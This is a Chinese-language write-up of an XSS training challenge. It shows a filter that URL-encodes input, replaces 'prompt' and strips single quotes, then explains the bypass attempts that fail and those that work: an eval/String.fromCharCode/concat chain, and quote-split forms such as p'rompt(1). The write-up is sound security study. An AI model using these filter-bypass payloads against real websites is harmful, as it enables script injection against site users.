题目
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
解题思路
题目对输入内容依次做了三段过滤:
- 使用
encodeURIComponent做 URL 编码 - 把
prompt换成了alert - 过滤了所有单引号
'
虽然输入内容直接在 <script> 里面,但是要把 prompt 成功写入的方法似乎都失效了。
因为除了 a-z、 A-Z、0-9、 .、 (、 )、 !、 ~、 * 这些字符,其他都几乎被过滤了。
我最开始想到,JS 解析器在解析标识符名称时(如函数名、属性名)等,若遇到 Unicode 会直接进行解码,并使得标识符依旧生效。于是构造了这个 payload \u0070\u0072\u006f\u006d\u0070\u0074(1) 绕过 replace 以在前端直接构造 prompt(1) , 但是 \ 被 encodeURIComponent 转码成了 %5C ,失败。。

后来又想到 eval 函数,于是构造这个 payload eval(String.fromCharCode(112,114,111,109,112,116,40,49,41))
期望可以绕过 replace 逐字符构造 prompt(1) ,但是 , 被 encodeURIComponent 转码成了 %2C ,还是失败。。

不过转念一想,既然不能用逗号 , 拼接字符,那么直接用 concat 函数就可以了。
于是重新构造 payload 如下,完成挑战:
eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))

其实这题想多了反而复杂,有一个更简单的方法是 利用题目自身的逻辑过滤去绕过。
题目首先把 prompt 替换成 alert , 然后又把单引号 ' 替换成空。
那么其实只需要把单引号 ' 插到 prompt 中间的任意位置就可以绕过所有过滤了。。。
所以这些 payload 都是可以完成挑战的:
p'rompt(1)pr'ompt(1)pro'mpt(1)prom'pt(1)promp't(1)p'r'o'm'p't(1)
因为这些字符本身属于保留字符,不会被 encodeURIComponent 编码;其次 prompt 中间有单引号 ' 的时候,也不满足 replace 的条件;最后题目还很贴心地帮我们把所有单引号 ' 删掉了,,,,所以有时其实真是我们想太多了。。。(╯°□°)╯︵ ┻━┻
